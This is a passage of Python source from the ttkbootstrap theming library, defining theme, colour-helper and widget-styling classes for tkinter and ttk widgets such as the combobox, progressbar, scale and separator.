theme. Keyword Args: themename (str): the theme to apply when creating new widgets """ self.theme = self._theme_definitions.get(themename) if not themename: return super().theme_use() if all([themename, themename not in self._theme_names]): print(f"{themename} is not a valid theme name. Please try one of the following:") print(list(self._theme_names)) return if themename in self.theme_names(): # the theme has already been created in tkinter super().theme_use(themename) if not self.theme: # this is not a bootstrap theme # self._theme_definitions[themename] = ThemeDefinition() return return # theme has not yet been created self._theme_objects[themename] = StylerTTK(self, self.theme) self._theme_objects[themename].styler_tk.style_tkinter_widgets() super().theme_use(themename) return class ThemeDefinition: """A class to provide defined name, colors, and font settings for a ttkbootstrap theme.""" def __init__(self, name='default', themetype='light', font='helvetica', colors=None): """ Args: name (str): the name of the theme; default is 'default'. themetype (str): the type of theme: *light* or *dark*; default is 'light'. font (str): the default font to use for the application; default is 'helvetica'. colors (Colors): an instance of the `Colors` class. One is provided by default. """ self.name = name self.type = themetype self.font = font self.colors = colors if colors else Colors() def __repr__(self): return f'name={self.name}, type={self.type}, font={self.font}, colors={self.colors}' class Colors: """A class that contains the theme colors as well as several helper methods for manipulating colors. This class is attached to the ``Style`` object at run-time for the selected theme, and so is available to use with ``Style.colors``. The colors can be accessed via dot notation or get method: .. code-block:: python # dot-notation Colors.primary # get method Colors.get('primary') This class is an iterator, so you can iterate over the main style color labels (primary, secondary, success, info, warning, danger): .. code-block:: python for color_label in Colors: color = Colors.get(color_label) print(color_label, color) If, for some reason, you need to iterate over all theme color labels, then you can use the ``Colors.label_iter`` method. This will include all theme colors, including border, fg, bg, etc... .. code-block:: python for color_label in Colors.label_iter(): color = Colors.get(color_label) print(color_label, color) """ def __init__(self, primary, secondary, success, info, warning, danger, bg, fg, selectbg, selectfg, border, inputfg, inputbg): """ Args: primary (str): the primary theme color; used by default for all widgets. secondary (str): an accent color; commonly of a `grey` hue. success (str): an accent color; commonly of a `green` hue. info (str): an accent color; commonly of a `blue` hue. warning (str): an accent color; commonly of an `orange` hue. danger (str): an accent color; commonly of a `red` hue. bg (str): background color. fg (str): default text color. selectfg (str): the color of selected text. selectbg (str): the background color of selected text. border (str): the color used for widget borders. inputfg (str): the text color for input widgets: ie. ``Entry``, ``Combobox``, etc... inputbg (str): the text background color for input widgets. """ self.primary = primary self.secondary = secondary self.success = success self.info = info self.warning = warning self.danger = danger self.bg = bg self.fg = fg self.selectbg = selectbg self.selectfg = selectfg self.border = border self.inputfg = inputfg self.inputbg = inputbg def get(self, color_label): """Lookup a color property Args: color_label (str): a color label corresponding to a class propery (primary, secondary, success, etc...) Returns: str: a hexadecimal color value. """ return self.__dict__.get(color_label) def set(self, color_label, color_value): """Set a color property Args: color_label (str): the name of the color to be set (key) color_value (str): a hexadecimal color value Example: .. code-block: set('primary', '#fafafa') """ self.__dict__[color_label] = color_value def __iter__(self): return iter(['primary', 'secondary', 'success', 'info', 'warning', 'danger']) def __repr__(self): return str((tuple(zip(self.__dict__.keys(), self.__dict__.values())))) @staticmethod def label_iter(): """Iterate over all color label properties in the Color class Returns: iter: an iterator representing the name of the color properties """ return iter(['primary', 'secondary', 'success', 'info', 'warning', 'danger', 'bg', 'fg', 'selectbg', 'selectfg', 'border', 'inputfg', 'inputbg']) @staticmethod def hex_to_rgb(color): """Convert hexadecimal color to rgb color value Args: color (str): param str color: hexadecimal color value Returns: tuple[int, int, int]: rgb color value. """ if len(color) == 4: # 3 digit hexadecimal colors r = round(int(color[1], 16) / 255, 2) g = round(int(color[2], 16) / 255, 2) b = round(int(color[3], 16) / 255, 2) else: # 6 digit hexadecimal colors r = round(int(color[1:3], 16) / 255, 2) g = round(int(color[3:5], 16) / 255, 2) b = round(int(color[5:], 16) / 255, 2) return r, g, b @staticmethod def rgb_to_hex(r, g, b): """Convert rgb to hexadecimal color value Args: r (int): red g (int): green b (int): blue Returns: str: a hexadecimal colorl value """ r_ = int(r * 255) g_ = int(g * 255) b_ = int(b * 255) return '#{:02x}{:02x}{:02x}'.format(r_, g_, b_) @staticmethod def update_hsv(color, hd=0, sd=0, vd=0): """Modify the hue, saturation, and/or value of a given hex color value. Args: color (str): the hexadecimal color value that is the target of hsv changes. hd (float): % change in hue sd (float): % change in saturation vd (float): % change in value Returns: str: a new hexadecimal color value that results from the hsv arguments passed into the function """ r, g, b = Colors.hex_to_rgb(color) h, s, v = colorsys.rgb_to_hsv(r, g, b) # hue if h * (1 + hd) > 1: h = 1 elif h * (1 + hd) < 0: h = 0 else: h *= (1 + hd) # saturation if s * (1 + sd) > 1: s = 1 elif s * (1 + sd) < 0: s = 0 else: s *= (1 + sd) # value if v * (1 + vd) > 1: v = 0.95 elif v * (1 + vd) < 0.05: v = 0.05 else: v *= (1 + vd) r, g, b = colorsys.hsv_to_rgb(h, s, v) return Colors.rgb_to_hex(r, g, b) class StylerTK: """A class for styling tkinter widgets (not ttk). Several ttk widgets utilize tkinter widgets in some capacity, such as the `popdownlist` on the ``ttk.Combobox``. To create a consistent user experience, standard tkinter widgets are themed as much as possible with the look and feel of the **ttkbootstrap** theme applied. Tkinter widgets are not the primary target of this project; however, they can be used without looking entirely out-of-place in most cases. Attributes: master (Tk): the root window. theme (ThemeDefinition): the color settings defined in the `themes.json` file. """ def __init__(self, styler_ttk): """ Args: styler_ttk (StylerTTK): an instance of the ``StylerTTK`` class. """ self.master = styler_ttk.style.master self.theme = styler_ttk.theme def style_tkinter_widgets(self): """A wrapper on all widget style methods. Applies current theme to all standard tkinter widgets""" self._style_spinbox() self._style_textwidget() self._style_button() self._style_label() self._style_checkbutton() self._style_radiobutton() self._style_entry() self._style_scale() self._style_listbox() self._style_menu() self._style_menubutton() self._style_labelframe() self._style_canvas() self._style_window() def _set_option(self, *args): """A convenience wrapper method to shorten the call to ``option_add``. *Laziness is next to godliness*. Args: *args (Tuple[str]): (pattern, value, priority=80) """ self.master.option_add(*args) def _style_window(self): """Apply global options to all matching ``tkinter`` widgets""" self.master.configure(background=self.theme.colors.bg) self._set_option('*background', self.theme.colors.bg, 60) self._set_option('*font', self.theme.font, 60) self._set_option('*activeBackground', self.theme.colors.selectbg, 60) self._set_option('*activeForeground', self.theme.colors.selectfg, 60) self._set_option('*selectBackground', self.theme.colors.selectbg, 60) self._set_option('*selectForeground', self.theme.colors.selectfg, 60) def _style_canvas(self): """Apply style to ``tkinter.Canvas``""" self._set_option('*Canvas.highlightThickness', 1) self._set_option('*Canvas.highlightBackground', self.theme.colors.border) self._set_option('*Canvas.background', self.theme.colors.bg) def _style_button(self): """Apply style to ``tkinter.Button``""" active_bg = Colors.update_hsv(self.theme.colors.primary, vd=-0.2) self._set_option('*Button.relief', 'flat') self._set_option('*Button.borderWidth', 0) self._set_option('*Button.activeBackground', active_bg) self._set_option('*Button.foreground', self.theme.colors.selectfg) self._set_option('*Button.background', self.theme.colors.primary) def _style_label(self): """Apply style to ``tkinter.Label``""" self._set_option('*Label.foreground', self.theme.colors.fg) self._set_option('*Label.background', self.theme.colors.bg) def _style_checkbutton(self): """Apply style to ``tkinter.Checkbutton``""" self._set_option('*Checkbutton.activeBackground', self.theme.colors.bg) self._set_option('*Checkbutton.activeForeground', self.theme.colors.primary) self._set_option('*Checkbutton.background', self.theme.colors.bg) self._set_option('*Checkbutton.foreground', self.theme.colors.fg) self._set_option('*Checkbutton.selectColor', self.theme.colors.primary if self.theme.type == 'dark' else 'white') def _style_radiobutton(self): """Apply style to ``tkinter.Radiobutton``""" self._set_option('*Radiobutton.activeBackground', self.theme.colors.bg) self._set_option('*Radiobutton.activeForeground', self.theme.colors.primary) self._set_option('*Radiobutton.background', self.theme.colors.bg) self._set_option('*Radiobutton.foreground', self.theme.colors.fg) self._set_option('*Radiobutton.selectColor', self.theme.colors.primary if self.theme.type == 'dark' else 'white') def _style_entry(self): """Apply style to ``tkinter.Entry``""" self._set_option('*Entry.relief', 'flat') self._set_option('*Entry.background', (self.theme.colors.inputbg if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.1))) self._set_option('*Entry.foreground', self.theme.colors.inputfg) self._set_option('*Entry.highlightThickness', 1) self._set_option('*Entry.highlightBackground', self.theme.colors.border) self._set_option('*Entry.highlightColor', self.theme.colors.primary) def _style_scale(self): """Apply style to ``tkinter.Scale``""" active_color = Colors.update_hsv(self.theme.colors.primary, vd=-0.2) self._set_option('*Scale.background', self.theme.colors.primary) self._set_option('*Scale.showValue', False) self._set_option('*Scale.sliderRelief', 'flat') self._set_option('*Scale.borderWidth', 0) self._set_option('*Scale.activeBackground', active_color) self._set_option('*Scale.highlightThickness', 1) self._set_option('*Scale.highlightColor', self.theme.colors.border) self._set_option('*Scale.highlightBackground', self.theme.colors.border) self._set_option('*Scale.troughColor', self.theme.colors.inputbg) def _style_spinbox(self): """Apply style to `tkinter.Spinbox``""" self._set_option('*Spinbox.foreground', self.theme.colors.inputfg) self._set_option('*Spinbox.relief', 'flat') self._set_option('*Spinbox.background', (self.theme.colors.inputbg if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.1))) self._set_option('*Spinbox.highlightThickness', 1) self._set_option('*Spinbox.highlightColor', self.theme.colors.primary) self._set_option('*Spinbox.highlightBackground', self.theme.colors.border) def _style_listbox(self): """Apply style to ``tkinter.Listbox``""" self._set_option('*Listbox.foreground', self.theme.colors.inputfg) self._set_option('*Listbox.background', self.theme.colors.inputbg) self._set_option('*Listbox.selectBackground', self.theme.colors.selectbg) self._set_option('*Listbox.selectForeground', self.theme.colors.selectfg) self._set_option('*Listbox.relief', 'flat') self._set_option('*Listbox.activeStyle', 'none') self._set_option('*Listbox.highlightThickness', 1) self._set_option('*Listbox.highlightColor', self.theme.colors.primary) self._set_option('*Listbox.highlightBackground', self.theme.colors.border) def _style_menubutton(self): """Apply style to ``tkinter.Menubutton``""" hover_color = Colors.update_hsv(self.theme.colors.primary, vd=-0.2) self._set_option('*Menubutton.activeBackground', hover_color) self._set_option('*Menubutton.background', self.theme.colors.primary) self._set_option('*Menubutton.foreground', self.theme.colors.selectfg) self._set_option('*Menubutton.borderWidth', 0) def _style_menu(self): """Apply style to ``tkinter.Menu``""" self._set_option('*Menu.tearOff', 0) self._set_option('*Menu.foreground', self.theme.colors.fg) self._set_option('*Menu.selectColor', self.theme.colors.primary) self._set_option('*Menu.font', self.theme.font) self._set_option('*Menu.background', ( self.theme.colors.inputbg if self.theme.type == 'light' else self.theme.colors.bg)) self._set_option('*Menu.activeBackground', self.theme.colors.selectbg) self._set_option('*Menu.activeForeground', self.theme.colors.selectfg) def _style_labelframe(self): """Apply style to ``tkinter.Labelframe``""" self._set_option('*Labelframe.font', self.theme.font) self._set_option('*Labelframe.foreground', self.theme.colors.fg) self._set_option('*Labelframe.highlightColor', self.theme.colors.border) self._set_option('*Labelframe.borderWidth', 1) self._set_option('*Labelframe.highlightThickness', 0) def _style_textwidget(self): """Apply style to ``tkinter.Text``""" self._set_option('*Text.background', self.theme.colors.inputbg) self._set_option('*Text.foreground', self.theme.colors.inputfg) self._set_option('*Text.highlightColor', self.theme.colors.primary) self._set_option('*Text.highlightBackground', self.theme.colors.border) self._set_option('*Text.borderColor', self.theme.colors.border) self._set_option('*Text.highlightThickness', 1) self._set_option('*Text.relief', 'flat') self._set_option('*Text.font', self.theme.font) self._set_option('*Text.padX', 5) self._set_option('*Text.padY', 5) class StylerTTK: """A class to create a new ttk theme. Create a new ttk theme by using a combination of built-in themes and some image-based elements using ``pillow``. A theme is generated at runtime and is available to use with the ``Style`` class methods. The base theme of all **ttkbootstrap** themes is *clam*. In many cases, widget layouts are re-created using an assortment of elements from various styles such as *clam*, *alt*, *default*, etc... Attributes: theme_images (dict): theme assets used for various widgets. settings (dict): settings used to build the actual theme using the ``theme_create`` method. styler_tk (StylerTk): an object used to style tkinter widgets (not ttk). theme (ThemeDefinition): the theme settings defined in the `themes.json` file. """ def __init__(self, style, definition): """ Args: style (Style): an instance of ``ttk.Style``. definition (ThemeDefinition): an instance of ``ThemeDefinition``; used to create the theme settings. """ self.style = style self.theme = definition self.theme_images = {} self.settings = {} self.styler_tk = StylerTK(self) self.create_theme() def create_theme(self): """Create and style a new ttk theme. A wrapper around internal style methods.""" self.update_ttk_theme_settings() self.style.theme_create(self.theme.name, 'clam', self.settings) def update_ttk_theme_settings(self): """Update the settings dictionary that is used to create a theme. This is a wrapper on all the `_style_widget` methods which define the layout, configuration, and styling mapping for each ttk widget. """ self._style_labelframe() self._style_spinbox() self._style_scale() self._style_scrollbar() self._style_combobox() self._style_exit_button() self._style_frame() self._style_calendar() self._style_checkbutton() self._style_entry() self._style_label() self._style_meter() self._style_notebook() self._style_outline_buttons() self._style_outline_menubutton() self._style_outline_toolbutton() self._style_progressbar() self._style_striped_progressbar() self._style_floodgauge() self._style_radiobutton() self._style_solid_buttons() self._style_link_buttons() self._style_solid_menubutton() self._style_solid_toolbutton() self._style_treeview() self._style_separator() self._style_panedwindow() self._style_roundtoggle_toolbutton() self._style_squaretoggle_toolbutton() self._style_sizegrip() self._style_defaults() def _style_defaults(self): """Setup the default ``ttk.Style`` configuration. These defaults are applied to any widget that contains these element options. This method should be called *first* before any other style is applied during theme creation. """ self.settings.update({ '.': { 'configure': { 'background': self.theme.colors.bg, 'darkcolor': self.theme.colors.border, 'foreground': self.theme.colors.fg, 'troughcolor': self.theme.colors.bg, 'selectbg': self.theme.colors.selectbg, 'selectfg': self.theme.colors.selectfg, 'selectforeground': self.theme.colors.selectfg, 'selectbackground': self.theme.colors.selectbg, 'fieldbg': 'white', 'font': self.theme.font, 'borderwidth': 1, 'focuscolor': ''}}}) def _style_combobox(self): """Create style configuration for ``ttk.Combobox``. This element style is created with a layout that combines *clam* and *default* theme elements. The options available in this widget based on this layout include: - Combobox.downarrow: arrowsize, background, bordercolor, relief, arrowcolor - Combobox.field: bordercolor, lightcolor, darkcolor, fieldbackground - Combobox.padding: padding, relief, shiftrelief - Combobox.textarea: font, width .. info:: When the dark theme is used, I used the *spinbox.field* from the *default* theme because the background shines through the corners using the `clam` theme. This is an unfortuate hack to make it look ok. Hopefully there will be a more permanent/better solution in the future. """ disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) if self.theme.type == 'dark': self.settings.update({ 'combo.Spinbox.field': {'element create': ('from', 'default')}}) self.settings.update({ 'Combobox.downarrow': {'element create': ('from', 'default')}, 'Combobox.padding': {'element create': ('from', 'clam')}, 'Combobox.textarea': {'element create': ('from', 'clam')}, 'TCombobox': { 'layout': [('combo.Spinbox.field', {'side': 'top', 'sticky': 'we', 'children': [ ('Combobox.downarrow', {'side': 'right', 'sticky': 'ns'}), ('Combobox.padding', {'expand': '1', 'sticky': 'nswe', 'children': [ ('Combobox.textarea', {'sticky': 'nswe'})]})]})], 'configure': { 'bordercolor': self.theme.colors.border, 'darkcolor': self.theme.colors.inputbg, 'lightcolor': self.theme.colors.inputbg, 'arrowcolor': self.theme.colors.inputfg, 'foreground': self.theme.colors.inputfg, 'fieldbackground ': self.theme.colors.inputbg, 'background ': self.theme.colors.inputbg, 'relief': 'flat', 'borderwidth ': 0, # only applies to dark theme border 'padding': 5, 'arrowsize ': 14}, 'map': { 'foreground': [ ('disabled', disabled_fg)], 'bordercolor': [ ('focus !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.bg)], 'lightcolor': [ ('focus !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)], 'darkcolor': [ ('focus !disabled', self.theme.colors.primary), ('hover !disabled', self.theme.colors.primary)], 'arrowcolor': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.inputbg), ('focus !disabled', self.theme.colors.inputfg), ('hover !disabled', self.theme.colors.primary)]}}}) for color in self.theme.colors: self.settings.update({ f'{color}.TCombobox': { 'map': { 'foreground': [ ('disabled', disabled_fg)], 'bordercolor': [ ('focus !disabled', self.theme.colors.get(color)), ('hover !disabled', self.theme.colors.get(color))], 'lightcolor': [ ('focus !disabled', self.theme.colors.get(color)), ('pressed !disabled', self.theme.colors.get(color))], 'darkcolor': [ ('focus !disabled', self.theme.colors.get(color)), ('pressed !disabled', self.theme.colors.get(color))], 'arrowcolor': [ ('disabled', disabled_fg), ('pressed !disabled', self.theme.colors.inputbg), ('focus !disabled', self.theme.colors.inputfg), ('hover !disabled', self.theme.colors.primary)]}}}) def _style_separator(self): """Create style configuration for ttk separator: *ttk.Separator*. The default style for light will be border, but dark will be primary, as this makes the most sense for general use. However, all other colors will be available as well through styling. The options available in this widget include: - Separator.separator: orient, background """ # horizontal separator default default_color = self.theme.colors.border if self.theme.type == 'light' else self.theme.colors.selectbg h_im = Image.new('RGB', (40, 1)) draw = ImageDraw.Draw(h_im) draw.rectangle([0, 0, 40, 1], fill=default_color) self.theme_images['hseparator'] = ImageTk.PhotoImage(h_im) self.settings.update({ 'Horizontal.Separator.separator': { 'element create': ('image', self.theme_images['hseparator'])}, 'Horizontal.TSeparator': { 'layout': [ ('Horizontal.Separator.separator', {'sticky': 'ew'})]}}) # horizontal separator variations for color in self.theme.colors: h_im = Image.new('RGB', (40, 1)) draw = ImageDraw.Draw(h_im) draw.rectangle([0, 0, 40, 1], fill=self.theme.colors.get(color)) self.theme_images[f'{color}_hseparator'] = ImageTk.PhotoImage(h_im) self.settings.update({ f'{color}.Horizontal.Separator.separator': { 'element create': ('image', self.theme_images[f'{color}_hseparator'])}, f'{color}.Horizontal.TSeparator': { 'layout': [ (f'{color}.Horizontal.Separator.separator', {'sticky': 'ew'})]}}) # vertical separator default default_color = self.theme.colors.border if self.theme.type == 'light' else self.theme.colors.selectbg v_im = Image.new('RGB', (1, 40)) draw = ImageDraw.Draw(v_im) draw.rectangle([0, 0, 1, 40], fill=default_color) self.theme_images['vseparator'] = ImageTk.PhotoImage(v_im) self.settings.update({ 'Vertical.Separator.separator': { 'element create': ('image', self.theme_images['vseparator'])}, 'Vertical.TSeparator': { 'layout': [ ('Vertical.Separator.separator', {'sticky': 'ns'})]}}) # vertical separator variations for color in self.theme.colors: v_im = Image.new('RGB', (1, 40)) draw = ImageDraw.Draw(v_im) draw.rectangle([0, 0, 1, 40], fill=self.theme.colors.get(color)) self.theme_images[f'{color}_vseparator'] = ImageTk.PhotoImage(v_im) self.settings.update({ f'{color}.Vertical.Separator.separator': { 'element create': ('image', self.theme_images[f'{color}_vseparator'])}, f'{color}.Vertical.TSeparator': { 'layout': [ (f'{color}.Vertical.Separator.separator', {'sticky': 'ns'})]}}) def _style_striped_progressbar(self): """Apply a striped theme to the progressbar""" self.theme_images.update(self._create_striped_progressbar_image('primary')) self.settings.update({ 'Striped.Horizontal.Progressbar.pbar': { 'element create': ('image', self.theme_images['primary_striped_hpbar'], {'width': 20, 'sticky': 'ew'})}, 'Striped.Horizontal.TProgressbar': { 'layout': [ ('Horizontal.Progressbar.trough', {'sticky': 'nswe', 'children': [ ('Striped.Horizontal.Progressbar.pbar', {'side': 'left', 'sticky': 'ns'})]})], 'configure': { 'troughcolor': self.theme.colors.inputbg, 'thickness': 20, 'borderwidth': 1, 'lightcolor': self.theme.colors.border if self.theme.type == 'light' else self.theme.colors.inputbg}}}) for color in self.theme.colors: self.theme_images.update(self._create_striped_progressbar_image(color)) self.settings.update({ f'{color}.Striped.Horizontal.Progressbar.pbar': { 'element create': ( 'image', self.theme_images[f'{color}_striped_hpbar'], {'width': 20, 'sticky': 'ew'})}, f'{color}.Striped.Horizontal.TProgressbar': { 'layout': [ ('Horizontal.Progressbar.trough', {'sticky': 'nswe', 'children': [ (f'{color}.Striped.Horizontal.Progressbar.pbar', {'side': 'left', 'sticky': 'ns'})]})], 'configure': { 'troughcolor': self.theme.colors.inputbg, 'thickness': 20, 'borderwidth': 1, 'lightcolor': self.theme.colors.border if self.theme.type == 'light' else self.theme.colors.inputbg}}}) def _create_striped_progressbar_image(self, colorname): """Create the striped progressbar image and return as a ``PhotoImage`` Args: colorname (str): the color label assigned to the colors property; eg. `primary`, `secondary`, `success`. Returns: dict: a dictionary containing the widget images. """ bar_primary = self.theme.colors.get(colorname) # calculate value of light color brightness = colorsys.rgb_to_hsv(*Colors.hex_to_rgb(bar_primary))[2] if brightness < 0.4: value_delta = 0.3 elif brightness > 0.8: value_delta = 0 else: value_delta = 0.1 bar_secondary = Colors.update_hsv(bar_primary, sd=-0.2, vd=value_delta) # need to check the darkness of the color before setting the secondary # horizontal progressbar h_im = Image.new('RGBA', (100, 100), bar_secondary) draw = ImageDraw.Draw(h_im) draw.polygon([(0, 0), (48, 0), (100, 52), (100, 100), (100, 100)], fill=bar_primary) draw.polygon([(0, 52), (48, 100), (0, 100)], fill=bar_primary) horizontal_img = ImageTk.PhotoImage(h_im.resize((22, 22), Image.LANCZOS)) # TODO vertical progressbar return {f'{colorname}_striped_hpbar': horizontal_img} def _style_progressbar(self): """Create style configuration for ttk progressbar: *ttk.Progressbar* The options available in this widget include: - Progressbar.trough: borderwidth, troughcolor, troughrelief - Progressbar.pbar: orient, thickness, barsize, pbarrelief, borderwidth, background """ self.settings.update({ 'Progressbar.trough': {'element create': ('from', 'clam')}, 'Progressbar.pbar': {'element create': ('from', 'default')}, 'TProgressbar': {'configure': { 'thickness': 20, 'borderwidth': 1, 'bordercolor': self.theme.colors.border if self.theme.type == 'light' else self.theme.colors.inputbg, 'lightcolor': self.theme.colors.border, 'pbarrelief': 'flat', 'troughcolor': self.theme.colors.inputbg, 'background': self.theme.colors.primary}}}) for color in self.theme.colors: self.settings.update({ f'{color}.Horizontal.TProgressbar': { 'configure': { 'background': self.theme.colors.get(color)}}, f'{color}.Vertical.TProgressbar': { 'configure': { 'background': self.theme.colors.get(color)}}}) @staticmethod def _create_slider_image(color, size=16): """Create a circle slider image based on given size and color; used in the slider widget. Args: color (str): a hexadecimal color value. size (int): the size diameter of the slider circle; default=16. Returns: ImageTk.PhotoImage: an image drawn in the shape of the circle of the theme color specified. """ im = Image.new('RGBA', (100, 100)) draw = ImageDraw.Draw(im) draw.ellipse((0, 0, 95, 95), fill=color) return ImageTk.PhotoImage(im.resize((size, size), Image.LANCZOS)) def _style_scale(self): """Create style configuration for ttk scale: *ttk.Scale* The options available in this widget include: - Scale.trough: borderwidth, troughcolor, troughrelief - Scale.slider: sliderlength, sliderthickness, sliderrelief, borderwidth, background, bordercolor, orient """ disabled_fg = (Colors.update_hsv(self.theme.colors.inputbg, vd=-0.2) if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.3)) trough_color = (self.theme.colors.inputbg if self.theme.type == 'dark' else Colors.update_hsv(self.theme.colors.inputbg, vd=-0.03)) pressed_vd = -0.2 hover_vd = -0.1 # create widget images self.theme_images.update({ 'primary_disabled': self._create_slider_image(disabled_fg), 'primary_regular': self._create_slider_image(self.theme.colors.primary), 'primary_pressed': self._create_slider_image( Colors.update_hsv(self.theme.colors.primary, vd=pressed_vd)), 'primary_hover': self._create_slider_image( Colors.update_hsv(self.theme.colors.primary, vd=hover_vd)), 'htrough': ImageTk.PhotoImage(Image.new('RGB', (40, 8), trough_color)), 'vtrough': ImageTk.PhotoImage(Image.new('RGB', (8, 40), trough_color))}) # The layout is derived from the 'xpnative' theme self.settings.update({ 'Horizontal.TScale': { 'layout': [ ('Scale.focus', {'expand': '1', 'sticky': 'nswe', 'children': [ ('Horizontal.Scale.track', {'sticky': 'we'}), ('Horizontal.Scale.slider', {'side': 'left', 'sticky': ''})]})]}, 'Vertical.TScale': { 'layout': [ ('Scale.focus', {'expand': '1', 'sticky': 'nswe', 'children': [ ('Vertical.Scale.track', {'sticky': 'ns'}), ('Vertical.Scale.slider', {'side': 'top', 'sticky': ''})]})]}, 'Horizontal.Scale.track': {'element create': ('image', self.theme_images['htrough'])}, 'Vertical.Scale.track': {'element create': ('image', self.theme_images['vtrough'])}, 'Scale.slider': { 'element create': ('image', self.theme_images['primary_regular'], ('disabled', self.theme_images['primary_disabled']), ('pressed !disabled', self.theme_images['primary_pressed']), ('hover !disabled', self.theme_images['primary_hover']))}}) for color in self.theme.colors: self.theme_images.update({ f'{color}_regular': self._create_slider_image(self.theme.colors.get(color)), f'{color}_pressed': self._create_slider_image( Colors.update_hsv(self.theme.colors.get(color), vd=pressed_vd)), f'{color}_hover': self._create_slider_image( Colors.update_hsv(self.theme.colors.get(color), vd=hover_vd))}) # The layout is derived from the 'xpnative' theme self.settings.update({ f'{color}.Horizontal.TScale': { 'layout': [ ('Scale.focus', { 'expand': '1', 'sticky': 'nswe', 'children': [ ('Horizontal.Scale.track', {'sticky': 'we'}), (f'{color}.Scale.slider', {'side': 'left', 'sticky': ''})]})]}, f'{color}.Vertical.TScale': { 'layout': [ (f'{color}.Scale.focus', { 'expand': '1', 'sticky': 'nswe', 'children': [ ('Vertical.Scale.track', {'sticky': 'ns'}), (f'{color}.Scale.slider', {'side': 'top', 'sticky': ''})]})]}, f'{color}.Scale.slider': { 'element create': ('image', self.theme_images[f'{color}_regular'], ('disabled', self.theme_images['primary_disabled']), ('pressed', self.theme_images[f'{color}_pressed']), ('hover', self.theme_images[f'{color}_hover']))}}) def _create_scrollbar_images(self): """Create assets needed for scrollbar arrows. The assets are saved to the ``theme_images`` property.""" font_size = 13 with importlib.resources.open_binary('ttkbootstrap', 'Symbola.ttf') as font_path: fnt = ImageFont.truetype(font_path, font_size) # up arrow vs_upim = Image.new('RGBA', (font_size, font_size)) up_draw = ImageDraw.Draw(vs_upim) up_draw.text((1, 5), "🞁", font=fnt, fill=self.theme.colors.inputfg if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.selectbg, vd=0.35, sd=-0.1)) self.theme_images['vsup'] = ImageTk.PhotoImage(vs_upim) # down arrow hsdown_im = Image.new('RGBA', (font_size, font_size)) down_draw = ImageDraw.Draw(hsdown_im) down_draw.text((1, -4), "🞃", font=fnt, fill=self.theme.colors.inputfg if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.selectbg, vd=0.35, sd=-0.1)) self.theme_images['vsdown'] = ImageTk.PhotoImage(hsdown_im) # left arrow vs_upim = Image.new('RGBA', (font_size, font_size)) up_draw = ImageDraw.Draw(vs_upim) up_draw.text((1, 1), "🞀", font=fnt, fill=self.theme.colors.inputfg if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.selectbg, vd=0.35, sd=-0.1)) self.theme_images['hsleft'] = ImageTk.PhotoImage(vs_upim) # right arrow vs_upim = Image.new('RGBA', (font_size, font_size)) up_draw = ImageDraw.Draw(vs_upim) up_draw.text((1, 1), "🞂", font=fnt, fill=self.theme.colors.inputfg if self.theme.type == 'light' else Colors.update_hsv(self.theme.colors.selectbg, vd=0.35, sd=-0.1)) self.theme_images['hsright'] = ImageTk.PhotoImage(vs_upim) def _style_floodgauge(self): """Create a style configuration for the *ttk.Progressbar* that makes it into a floodgauge. Which is essentially a very large progress bar with text in the middle. The options available in this widget include: - Floodgauge.trough: borderwidth, troughcolor, troughrelief - Floodgauge.pbar: orient, thickness, barsize, pbarrelief, borderwidth, background - Floodgauge.text: 'text', 'font', 'foreground', 'underline', 'width', 'anchor', 'justify', 'wraplength', 'embossed' """ self.settings.update({ 'Floodgauge.trough': {'element create': ('from', 'clam')}, 'Floodgauge.pbar': {'element create': ('from', 'default')}, 'Horizontal.TFloodgauge': { 'layout': [('Floodgauge.trough', {'children': [ ('Floodgauge.pbar', {'sticky': 'ns'}), ("Floodgauge.label", {"sticky": ""})], 'sticky': 'nswe'})], 'configure': { 'thickness': 50, 'borderwidth': 1, 'bordercolor': self.theme.colors.primary, 'lightcolor': self.theme.colors.primary, 'pbarrelief': 'flat', 'troughcolor': Colors.update_hsv(self.theme.colors.primary, sd=-0.3, vd=0.8), 'background': self.theme.colors.primary, 'foreground': self.theme.colors.selectfg, 'justify': 'center', 'anchor': 'center', 'font': 'helvetica 14'}}, 'Vertical.TFloodgauge': { 'layout': [('Floodgauge.trough', {'children': [ ('Floodgauge.pbar', {'sticky': 'we'}), ("Floodgauge.label", {"sticky": ""})], 'sticky': 'nswe'})], 'configure': { 'thickness': 50, 'borderwidth': 1, 'bordercolor': self.theme.colors.primary, 'lightcolor': self.theme.colors.primary, 'pbarrelief': 'flat', 'troughcolor': Colors.update_hsv(self.theme.colors.primary, sd=-0.3, vd=0.8), 'background': self.theme.colors.primary, 'foreground': self.theme.colors.selectfg, 'justify': 'center', 'anchor': 'center', 'font': 'helvetica 14'} }}) for color in self.theme.colors: self.settings.update({ f'{color}.Horizontal.TFloodgauge': { 'configure': { 'thickness': 50, 'borderwidth': 1, 'bordercolor': self.theme.colors.get(color), 'lightcolor': self.theme.colors.get(color), 'pbarrelief': 'flat', 'troughcolor': Colors.update_hsv(self.theme.colors.get(color), sd=-0.3, vd=0.8), 'background': self.theme.colors.get(color), 'foreground': self.theme.colors.selectfg, 'justify': 'center', 'anchor': 'center', 'font': 'helvetica 14'}}, f'{color}.Vertical.TFloodgauge': { 'configure': { 'thickness': 50, 'borderwidth': 1, 'bordercolor': self.theme.colors.get(color), 'lightcolor': self.theme.colors.get(color), 'pbarrelief': 'flat', 'troughcolor': Colors.update_hsv(self.theme.colors.get(color), sd=-0.3, vd=0.8), 'background': self.theme.colors.get(color), 'foreground': self.theme.colors.selectfg, 'justify': 'center', 'anchor': 'center', 'font': 'helvetica 14'} }}) def _style_scrollbar(self): """Create style configuration for ttk scrollbar: *ttk.Scrollbar*. This theme uses elements from the *alt* theme tobuild the widget layout. The options available in this widget include: - Scrollbar.trough: orient, troughborderwidth, troughcolor, troughrelief, groovewidth - Scrollbar.uparrow: arrowsize, background, bordercolor, relief, arrowcolor - Scrollbar.downarrow: arrowsize, background, bordercolor, relief, arrowcolor - Scrollbar.thumb: width, background, bordercolor, relief, orient """ 